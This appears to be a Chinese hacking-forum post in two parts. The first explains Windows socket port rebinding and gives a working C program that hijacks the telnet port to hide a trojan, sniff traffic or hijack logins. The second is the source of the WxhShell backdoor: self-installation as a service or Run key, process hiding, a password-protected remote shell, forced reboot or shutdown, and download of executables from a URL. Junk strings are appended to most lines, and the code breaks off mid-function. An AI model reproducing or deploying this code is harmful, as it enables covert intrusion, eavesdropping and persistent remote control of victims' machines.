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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RP[`\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -1NR]#P'  
@Bjp7v :w  
  saddr.sin_family = AF_INET; kdx06'4o  
.J&89I]U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S'w}Ir  
\/gf_R_GN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bb\XZ~)F  
_3wK: T{:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *:"60fkoU  
e 8oAGh"  
  这意味着什么?意味着可以进行如下的攻击: f&$;iE  
f#m@eb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4,h)<(d{  
@ ,;h!vB*=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m|x_++3  
:hW(2=%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {<gX~./]c  
!Fxn1Z,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N;BuBm5K  
1>Vq<z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?m7i7Dz   
T /IX(b'<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9HiyN>(  
; lrO?sm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CR2.kuM0~  
G %\/[ B  
  #include H\E%.QIx  
  #include ?"<m{,yQI  
  #include *zDDi(@vtK  
  #include    /-m)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c;-N RvVb  
  int main() *B{]  
  { 0T#z"l<L  
  WORD wVersionRequested; ,_w}\'?L  
  DWORD ret; *P]]7DR  
  WSADATA wsaData; .d$Q5Qae  
  BOOL val; '@w'(}3!3R  
  SOCKADDR_IN saddr; f}4A ,%:1  
  SOCKADDR_IN scaddr; =2DK?]K;  
  int err; '+j;g  
  SOCKET s; llh +r?  
  SOCKET sc; |M t2  
  int caddsize; V>Xg\9B_  
  HANDLE mt; k\*?<g  
  DWORD tid;   n5BD0q  
  wVersionRequested = MAKEWORD( 2, 2 ); t0v >J9  
  err = WSAStartup( wVersionRequested, &wsaData ); 7r)]9_[(  
  if ( err != 0 ) { +/kOUz/]  
  printf("error!WSAStartup failed!\n"); B B'qbX3xK  
  return -1; Ie=gI+2  
  } K"5q387!  
  saddr.sin_family = AF_INET; 61&{I>~1  
   7IkEud  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ht>/7.p]  
x>BFK@#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )b=vBs`%  
  saddr.sin_port = htons(23); s6 (md<r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _/cX!/"  
  { QlR~rFs9t  
  printf("error!socket failed!\n"); .]zZwB  
  return -1; C2=PGq  
  } iQG]v[$  
  val = TRUE; GBR$k P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B"#pvJN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <|X+T,  
  { 5M #',(X  
  printf("error!setsockopt failed!\n"); S%Ky+0  
  return -1; v,ni9DIu  
  } O7LJ-M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0`p"7!r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ! 9*l!(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (4yXr|to}  
d7QUg 6=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @(E6P;+{  
  { &2 *  
  ret=GetLastError(); KHC Fz  
  printf("error!bind failed!\n");  AW|SD  
  return -1; "iX\U'`  
  } 4MW oGV9  
  listen(s,2); fl9VokAT  
  while(1) _?'W30Dg  
  { ;pOV; q3j  
  caddsize = sizeof(scaddr); "*l{ m2"  
  //接受连接请求 v3t<rv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KU0Ad);e  
  if(sc!=INVALID_SOCKET) q(hBqUW  
  { 9kqR-T|Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fZsw+PSy  
  if(mt==NULL) vSoG] :1  
  { N=T}  
  printf("Thread Creat Failed!\n"); `U\l: ~]e  
  break; T3"'`Sd9;  
  }  Z,O-P9jC  
  } wTZ(vX*mK  
  CloseHandle(mt); %Ny1H/@Q1+  
  } H_x} -  
  closesocket(s); 7F~gA74h  
  WSACleanup(); ; qbK[3.  
  return 0; A:z  
  }   }|[0FP]v  
  DWORD WINAPI ClientThread(LPVOID lpParam) hy%5LV<(  
  { Vjo[rUW  
  SOCKET ss = (SOCKET)lpParam; :7obxW1X  
  SOCKET sc; kX}sDvP3  
  unsigned char buf[4096]; *mWl=J;u  
  SOCKADDR_IN saddr; gN[t  
  long num; J]S30&?  
  DWORD val; ZHeq)5C ;f  
  DWORD ret; #<sK3PT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !T ,=kh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !^0vi3I  
  saddr.sin_family = AF_INET; `Je1$)%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QOrMz`OA  
  saddr.sin_port = htons(23); g=qaq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /iQh'rp  
  { 0CXXCa7!  
  printf("error!socket failed!\n"); `r3 klL,W'  
  return -1; FU .%td=:  
  }  QV\a f  
  val = 100; 6o9&FU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /z`tI  
  { \{~CO{II  
  ret = GetLastError(); k&f/f  
  return -1; ]F>#0Rdc  
  } CAom4 Sp'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {TJBB/B1  
  { l.Ev]G/5  
  ret = GetLastError(); sN?Rx}  
  return -1; /Qef[$!(  
  } .Z"`:4O   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9(z) ^ G  
  { [E6ceX0  
  printf("error!socket connect failed!\n"); Yjd/  
  closesocket(sc); _G.!^+)kEm  
  closesocket(ss); =ePX^J*M'  
  return -1; N1.1  
  } \)>#`X  
  while(1) `jTB9A"  
  { S&]r6ss  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; 8eGf'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  6Bcr.`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1n7'\esC*  
  num = recv(ss,buf,4096,0); $G }9iV7  
  if(num>0) h#Z,ud_  
  send(sc,buf,num,0); P2C>IS  
  else if(num==0) P{_%p<:V  
  break; I\c7V~^hnG  
  num = recv(sc,buf,4096,0); ONy\/lu|  
  if(num>0) %N(>B_t\  
  send(ss,buf,num,0); #9.%>1{6Y  
  else if(num==0) HJym|G>%?  
  break; BtKor6ba  
  } XD0a :T)  
  closesocket(ss); 6Uq;]@k%  
  closesocket(sc); LayK&RwL  
  return 0 ; 4(oU88 z  
  } e<a*@ P,  
:& :P4Y1 E  
d]^m^  
========================================================== _~C1M&b(X3  
$o\z4_I  
下边附上一个代码,,WXhSHELL y&O?`"Uv/M  
AL,7rYZG$  
========================================================== IEP|j;~*  
7gB?rJHV,  
#include "stdafx.h" dKU :\y  
.8%b;b  
#include <stdio.h> "X;5* 4+  
#include <string.h> [uHC AP  
#include <windows.h> oz,.gP%  
#include <winsock2.h> Buh}+n2]5  
#include <winsvc.h> !]D`|HoW  
#include <urlmon.h> UQ7]hX9  
%l a1-r~  
#pragma comment (lib, "Ws2_32.lib") ]o0]i<:  
#pragma comment (lib, "urlmon.lib") WvfM.D!  
g"kI1^[nj  
#define MAX_USER   100 // 最大客户端连接数 tu* uQ:Ipk  
#define BUF_SOCK   200 // sock buffer }' Y)"8AIA  
#define KEY_BUFF   255 // 输入 buffer v'Ehr**]+  
6~2upy~e  
#define REBOOT     0   // 重启 *mJ#|3I<  
#define SHUTDOWN   1   // 关机 =_ N[mR^  
qnWM  %k  
#define DEF_PORT   5000 // 监听端口 -OU{99$aS  
o,c}L9nvt  
#define REG_LEN     16   // 注册表键长度 }S?"mg& V  
#define SVC_LEN     80   // NT服务名长度 Z[] 8X@IPe  
zF>;7'\x  
// 从dll定义API B]()  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #>,E"-]f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6aHD?a o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +/RR!vG,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tK/,U =+  
/je $+  
// wxhshell配置信息 Ok{1{EmP  
struct WSCFG { Xy!NBh7I  
  int ws_port;         // 监听端口 |mHf 7gCX  
  char ws_passstr[REG_LEN]; // 口令 P2aFn=f  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2Vf242z_  
  char ws_regname[REG_LEN]; // 注册表键名 @n.n[zb\|  
  char ws_svcname[REG_LEN]; // 服务名 i|AWaG)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Aaq%'07ihW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I=<Qpd4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i '*!c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [XDV-6KCE.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ">3t+A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1i~q~ O,  
+lVA$]d  
}; 'xG J;pY  
!5?_)  
// default Wxhshell configuration <rK[&JlJ  
struct WSCFG wscfg={DEF_PORT, 4'*.3f'bp  
    "xuhuanlingzhe", _xm<zy{`S  
    1, BN%cX 2j  
    "Wxhshell", %*npLDi  
    "Wxhshell", p}pd&ut1  
            "WxhShell Service", 6S_mfWsi  
    "Wrsky Windows CmdShell Service", 3c,4 wyn  
    "Please Input Your Password: ", <;?1#ok  
  1, 39 zfbxX  
  "http://www.wrsky.com/wxhshell.exe", U!uJ)mm  
  "Wxhshell.exe" ISFNP&& K  
    }; esBv,b?*  
!u8IZpf  
// 消息定义模块 Eri007?D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $%"hhju  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N"G\ H<n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r6 3l(  
char *msg_ws_ext="\n\rExit."; fpC":EX@r  
char *msg_ws_end="\n\rQuit."; z[<Na3]  
char *msg_ws_boot="\n\rReboot..."; Bt,'g* Cs  
char *msg_ws_poff="\n\rShutdown..."; s5mJ -  
char *msg_ws_down="\n\rSave to "; RN[x\",  
lMu-,Z="  
char *msg_ws_err="\n\rErr!"; 5Ww,vSCV)  
char *msg_ws_ok="\n\rOK!"; M/9[P* VE  
\< T7EV.  
char ExeFile[MAX_PATH]; N wNxO  
int nUser = 0; \7*|u  
HANDLE handles[MAX_USER]; UF-'(  
int OsIsNt; #\^=3A|b  
phf{b+'#X  
SERVICE_STATUS       serviceStatus; ,VEE<* 'X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZX`x9/0&  
.xmB8 R  
// 函数声明 N '&>bO?@`  
int Install(void); ^9LoxU-  
int Uninstall(void); l1]{r2g  
int DownloadFile(char *sURL, SOCKET wsh); <\Y(+?+uZ  
int Boot(int flag); 41Q)w=hoN  
void HideProc(void); hHVAN3e  
int GetOsVer(void); j n SZ@u  
int Wxhshell(SOCKET wsl); H' /V<%  
void TalkWithClient(void *cs); +}?%w|8||s  
int CmdShell(SOCKET sock); Al8Dw)uG{  
int StartFromService(void); ?Sa,n^b*H  
int StartWxhshell(LPSTR lpCmdLine); J(/J;PW  
y }R2ZO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q. Jx|x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ij.mLO]  
u t4:LHF  
// 数据结构和表定义 K39I j_3  
SERVICE_TABLE_ENTRY DispatchTable[] = YlG#sBzl  
{ L xIKH G  
{wscfg.ws_svcname, NTServiceMain}, 2}/r>]9^-  
{NULL, NULL} - ry  
}; id : ^|  
4~$U#$u_  
// 自我安装 SC4jKm2  
int Install(void) 5WRqeSGh  
{ XP%_|Q2X  
  char svExeFile[MAX_PATH]; 7_qsVhh]$E  
  HKEY key; .|07IH/Di{  
  strcpy(svExeFile,ExeFile); VWK/(>TP  
Ank_;jo  
// 如果是win9x系统,修改注册表设为自启动 dz/fSA  
if(!OsIsNt) { Cu24xP`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {fl[BX]kZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LK*9`dzv=G  
  RegCloseKey(key); W?E,"z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g4Dck4^!4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2W_[|.;'  
  RegCloseKey(key); ONcLhwH  
  return 0; _eBNbO_J  
    } \_R<Q?D+  
  } aBY&]6^-  
} k{F6WQ7  
else { nFGX2|d  
2~g-k 3  
// 如果是NT以上系统,安装为系统服务 F-ofR]|) >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4f8XO"k7t=  
if (schSCManager!=0) @g;DA)!(  
{ %++: K  
  SC_HANDLE schService = CreateService }93FWo.  
  ( eX"Ecl{  
  schSCManager, z@\mn  
  wscfg.ws_svcname, vShB26b  
  wscfg.ws_svcdisp, Z"w}`&TC$^  
  SERVICE_ALL_ACCESS, ,98 F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o_Y?s+~i[/  
  SERVICE_AUTO_START, VZ`YbY  
  SERVICE_ERROR_NORMAL, tS3&&t  
  svExeFile, AT3HH QD  
  NULL, D aHbOs_<  
  NULL, 3PRU  
  NULL, 0k?]~ f  
  NULL, Y`-q[F?\y  
  NULL ]|w~{X!b4  
  ); L1Yj9i  
  if (schService!=0) 'w72i/  
  { 1'TS!/ll];  
  CloseServiceHandle(schService); tq'hiS(b  
  CloseServiceHandle(schSCManager); s%Ph  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fQ!W)>mi  
  strcat(svExeFile,wscfg.ws_svcname); u0oTqD?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T>#~.4A0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BOM0QskLf  
  RegCloseKey(key); ,d_rK\J  
  return 0; N!dBF t"  
    } $qZ6i  
  } |HY{Q1%  
  CloseServiceHandle(schSCManager); 30Qp:_D  
} $qg2@X.  
} )*uotV  
;WYz U`<g  
return 1; #sjGju"#_  
} $kmY[FWu?  
l"X,[  
// 自我卸载 &c&TQkx  
int Uninstall(void) D^F=:-l m  
{ T9r6,yY  
  HKEY key; \?8q&o1=]  
&;JeLL1J  
if(!OsIsNt) { 8 E l hcs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3jJV5J'"  
  RegDeleteValue(key,wscfg.ws_regname); 5{1=BZftZ  
  RegCloseKey(key); Zn)o@'{}{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -}oH],C  
  RegDeleteValue(key,wscfg.ws_regname); ]qq2VO<b  
  RegCloseKey(key); .Sa=VC?EZ  
  return 0; 0Db=/sJ>  
  } HEa7!h[a'  
} zYdieE\-  
} ,`a8@  
else { Em{;l:;(W  
W}zq9|p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3bo [34  
if (schSCManager!=0) jll|y0  
{ ;KmrBNF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (0_zp`)  
  if (schService!=0) IIBS:&;+-  
  { bi@'m?XwJ  
  if(DeleteService(schService)!=0) { k_?OEkgUh  
  CloseServiceHandle(schService); |lzcyz  
  CloseServiceHandle(schSCManager); a[}?!G-Wt|  
  return 0; +`B^D  
  } !a!4^zqp  
  CloseServiceHandle(schService); {dE(.Z?]!#  
  } PGYx] r  
  CloseServiceHandle(schSCManager); +tg${3ti_  
} Rm$(X5x>o  
} >nvK{6xR:  
JHZjf7g$k  
return 1; Sz1J4$5  
} q?]KZ_a  
aAn p7\7  
// 从指定url下载文件 017nhI  
int DownloadFile(char *sURL, SOCKET wsh) 8o $ ` '  
{ 6jm/y@|F!  
  HRESULT hr; u%"5<ll  
char seps[]= "/"; ;Kg7}4`I  
char *token; D97 vfC  
char *file; >X"\+7bw  
char myURL[MAX_PATH]; uocFOlU0n  
char myFILE[MAX_PATH]; )g3c-W=  
fN<Y3^i"  
strcpy(myURL,sURL); V;J3lV<  
  token=strtok(myURL,seps); gCVOm-*:  
  while(token!=NULL)  OmfHr lA  
  { S-7C'dc  
    file=token; v|]"uPxH?  
  token=strtok(NULL,seps); n8T'}d+mm  
  } Q6 m.yds  
lU$0e09  
GetCurrentDirectory(MAX_PATH,myFILE); [[';Hi^  
strcat(myFILE, "\\"); aZtM _  
strcat(myFILE, file); V joVC$ZX  
  send(wsh,myFILE,strlen(myFILE),0); oY; C[X  
send(wsh,"...",3,0); eC6wrpZO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pY\ =f0]  
  if(hr==S_OK) *1_Ef).  
return 0; ,zK E$  
else g\IwV+iDf  
return 1; rp[3?-fk  
QX=x^(M$m  
} yO7#n0q  
:c8d([)$  
// 系统电源模块 a=9QwEZ  
int Boot(int flag) o Qo5y_o~  
{ &Ll&A@yU  
  HANDLE hToken; G)Y,*.,  
  TOKEN_PRIVILEGES tkp; uAoZ&8D6  
@^g~F&Ta  
  if(OsIsNt) { e VQ-?DK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }*qj,8-9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pDvznpQ  
    tkp.PrivilegeCount = 1; AA=eWg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y"m(hs $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 91q  
if(flag==REBOOT) { HGd.meQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0plX"NU  
  return 0; F>X<=YO0  
} pe3;pRh'  
else { ),xD5~_=q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &"J;  
  return 0; _.BT%4  
} :IfwhI)  
  } x5/&,&m`%  
  else { /s=veiH  
if(flag==REBOOT) { ~ ^   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [/n@BK  
  return 0; $P%cdJT0  
} E'SDT*EI  
else { YB2gxZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x#R6Ez7  
  return 0; ?0+g.,9  
} e :C4f  
} nf1 `)tXG  
P$*Ngt  
return 1; Sw5-^2x0'  
} /5j5\F:33  
R*S:/s  
// win9x进程隐藏模块 ;G3?Sa7+  
void HideProc(void) s2 :Vm\  
{ x.] tGS  
8gt&*;'}*D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ~mi4V  
  if ( hKernel != NULL ) '!,(G3  
  { 1v,R<1)&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); be5N{lPT@;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lNWP9?X  
    FreeLibrary(hKernel); b >k2@  
  } C4|OsC7J  
{B6ywTK\ `  
return; ~(GN Y5  
} $ b53~  
r`h".=oD  
// 获取操作系统版本 ~<s^HP2U{  
int GetOsVer(void) urCTP.F  
{ *yjnC  
  OSVERSIONINFO winfo; /4+(eI7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 ]L   
  GetVersionEx(&winfo); ^M;#x$Y?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # h4FLF_w  
  return 1; ]6Awd A  
  else ZKpJc'h  
  return 0; BHZhdm@),  
} ;YW@ 3F-h  
VYO1qj  
// 客户端句柄模块 lCl5#L9  
int Wxhshell(SOCKET wsl) w&Gc#-B  
{ }N$f=:iI  
  SOCKET wsh; EUQtl_h/H  
  struct sockaddr_in client; d)acWF\  
  DWORD myID; k6RVP: V  
J.M&Vj:  
  while(nUser<MAX_USER) s;* UP   
{ -V[x q  
  int nSize=sizeof(client); mw;4/ /R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0(:SEiz6s  
  if(wsh==INVALID_SOCKET) return 1; |5X[/Q*K`W  
[;sTl~gC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BOq9\g`5s  
if(handles[nUser]==0) P?P.QK  
  closesocket(wsh);  Y#~A":A  
else a'dlA da  
  nUser++; a_?b <  
  } R*6B@<p,i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /wt7KL- I  
57gt"f  
  return 0; 4K? \5(b  
} JPng !tvR  
8UqH"^9.Q7  
// 关闭 socket c%gL3kOT  
void CloseIt(SOCKET wsh) Qr 4 D  
{ bcpsjUiy#  
closesocket(wsh); 5I^;v;F  
nUser--; `M 'tuQ M  
ExitThread(0); ~ A=Gra  
} hwJ>IQ1  
=y)K er  
// 客户端请求句柄 x|G :;{"+6  
void TalkWithClient(void *cs) 1;V_E2?V  
{ @DY"~c cH  
nw%`CnzT  
  SOCKET wsh=(SOCKET)cs; f86Z #%  
  char pwd[SVC_LEN]; >][D"  
  char cmd[KEY_BUFF]; cBZEyy&  
char chr[1]; >$E;."a  
int i,j; g<.Is V  
ci$J?a  
  while (nUser < MAX_USER) { oZ d3H  
~ &Ne P  
if(wscfg.ws_passstr) { xz.Jmv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m|c [C\)By  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vgD+Y   
  //ZeroMemory(pwd,KEY_BUFF); :Q ]"dbY^  
      i=0; NlKVl~_ C  
  while(i<SVC_LEN) { )OxcCV?5Z  
rVl 8?u y  
  // 设置超时 fi%i 2Wy  
  fd_set FdRead; 3Ke6lV)uq  
  struct timeval TimeOut; m|{^T/kIbQ  
  FD_ZERO(&FdRead); 7*K UM6z  
  FD_SET(wsh,&FdRead); =r7!QXPH}  
  TimeOut.tv_sec=8; :/$WeAg  
  TimeOut.tv_usec=0; `?3f76}h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ThI}~$Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9 i/ (  
)E>yoUhN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y<irNp9   
  pwd=chr[0]; f pq|mY  
  if(chr[0]==0xd || chr[0]==0xa) { 6uFw+Ya#  
  pwd=0; #fns3=/ H  
  break; W&%,XwkQ  
  } 'hs4k|B  
  i++; aK@ Y) Ju'  
    } 4Yi kC  
4\ Xaou2V[  
  // 如果是非法用户,关闭 socket -$[&{ .B.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Z @sh>X|  
} =f{v:n6  
rz k;Q@1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sg2%BkTI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E1OrL.A6  
}P.Z}n;Uj  
while(1) { ;<m`mb4x[  
7_76X)gIV  
  ZeroMemory(cmd,KEY_BUFF); $Vq5U9-  
xn503,5G*7  
      // 自动支持客户端 telnet标准   5}ftiy[Yc  
  j=0; m x |V)  
  while(j<KEY_BUFF) { pa+'0Y]71  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -kMw[Y  
  cmd[j]=chr[0]; 1*dN. v:5  
  if(chr[0]==0xa || chr[0]==0xd) { c:7F 2+p  
  cmd[j]=0; n-" (~  
  break; ka\{?:r,8  
  } W3/bM>1  
  j++; O=RS</01!  
    } T[k$[  
|yeQz  
  // 下载文件 0h*Le  
  if(strstr(cmd,"http://")) { 6` TwP\!$/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z}uY%]  
  if(DownloadFile(cmd,wsh)) "}*D,[C5e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qa )+Tv  
  else k !0O[U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g}D)MlXRq  
  } nco.j:  
  else { hoqZb<:  
`HXv_9  
    switch(cmd[0]) { :!oJmvy  
  208^Yu  
  // 帮助 l X+~;94  
  case '?': { i`r`Fj}-S-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BL16?&RK  
    break; 4F#H$`:[  
  } 3U{ mC}F  
  // 安装 {jB> ]7  
  case 'i': { e,e(t7c?d  
    if(Install()) 'QT~o-U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`Yu~a{  
    else i3N{Dt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3u/JcU-<  
    break; [StnKQ?"wz  
    } H dqB B   
  // 卸载 Bc"MOSV0  
  case 'r': { Yjc U2S"=P  
    if(Uninstall()) 7b>_vtrt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WK`o3ayH-  
    else znsQ/[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8 :[w  
    break; %%s)D4sW  
    } 9efey? z  
  // 显示 wxhshell 所在路径 S9Yzvq!(  
  case 'p': { EyA ny\"  
    char svExeFile[MAX_PATH]; <}{<FXk[  
    strcpy(svExeFile,"\n\r"); )-)rL@s.  
      strcat(svExeFile,ExeFile); MOaI~xZ  
        send(wsh,svExeFile,strlen(svExeFile),0); iF^qbh%%E  
    break; ^:{8z;w!(  
    } xX%ppD7  
  // 重启 \(i'iC  
  case 'b': { l[$GOLeS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cj>UxU][eS  
    if(Boot(REBOOT)) 72OqXa*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7! >0  
    else { z!3=.D  
    closesocket(wsh); Qy"Jt]O  
    ExitThread(0); &S{r;N5u  
    } ,XEIg  
    break; FprdP*/  
    } s`bGW1#io  
  // 关机 6~%><C  
  case 'd': { ? ;CIS$$r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RQQ' Wg  
    if(Boot(SHUTDOWN)) D#&9zR86F  
